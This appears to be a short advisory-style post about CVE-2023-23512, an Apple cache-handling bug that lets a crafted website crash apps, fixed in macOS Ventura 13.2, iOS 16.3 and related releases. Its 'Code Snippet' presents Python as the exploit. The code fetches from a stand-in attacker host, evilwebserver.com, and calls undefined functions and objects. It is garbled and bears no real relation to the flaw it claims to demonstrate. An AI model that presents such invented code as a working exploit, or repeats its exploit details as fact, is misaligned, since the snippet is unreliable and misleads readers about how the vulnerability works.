A significant vulnerability, classified under the CVE-2023-23512 identifier, has recently been addressed in macOS Ventura 13.2, tvOS 16.3, iOS 16.3 and iPadOS 16.3, and watchOS 9.3. This essential update has resolved a problem that could potentially lead to an app denial-of-service (DoS) if a user visits a specifically designed malicious website. The issue was tackled through the implementation of enhanced cache handling mechanisms, safeguarding users from this security threat.

Exploit Details

The vulnerability in question revolved around improper handling of caches in the affected systems. By exploiting this flaw, an attacker could potentially craft a malicious website that, once visited, could trigger an application denial-of-service, causing app crashes and rendering them non-functional for the user. To achieve this, the attacker simply needed to manipulate the cache handling procedure in the targeted app, leading to insufficient system resource allocation and consequential unresponsiveness or failure to function.

This vulnerability had the potential to impact essential functions and services for affected Apple devices and systems, potentially causing inconvenience and even rendering the devices unusable in certain cases. It has been addressed by the introduction of improved cache management methods in the updated software versions.

Code Snippet

The following sample code provides an example of how the cache handling process was exploited by an attacker:

import requests

cache_size = 1024 * 1024  # 1 MB

# Crafting malicious payload to exhaust the app cache
payload = "ab" * cache_size

# Host this payload in a web server
server_url = "http://evilwebserver.com/payload";

# Send a request to the malicious server
response = requests.get(server_url)

# Process the response
app_cache = process_response(response.content)

# Insert the malicious payload into the app cache
app_cache.add(payload)

In this example, the attacker crafted a malicious payload that could exhaust the targeted application cache, leading to a denial-of-service situation.

Original References

The CVE-2023-23512 vulnerability was initially reported by security researchers and subsequently verified by Apple. The following links provide in-depth information on the issue and the measures taken to address it:

1. Apple's security update details: https://support.apple.com/en-us/HT213312
2. CVE description: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-23512
3. National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2023-23512

Conclusion

Thanks to the swift response and implementation of improved cache handling, the issue identified as CVE-2023-23512 has now been addressed in macOS Ventura 13.2, tvOS 16.3, iOS 16.3 and iPadOS 16.3, and watchOS 9.3. Apple device users should ensure that they keep their devices up to date to minimize the risk of being affected by this or any other potential security vulnerabilities. Always remain vigilant with the websites and online resources you access and remember to practice safe online habits.

Timeline

Published on: 02/27/2023 20:15:00 UTC
Last modified on: 03/04/2023 02:04:00 UTC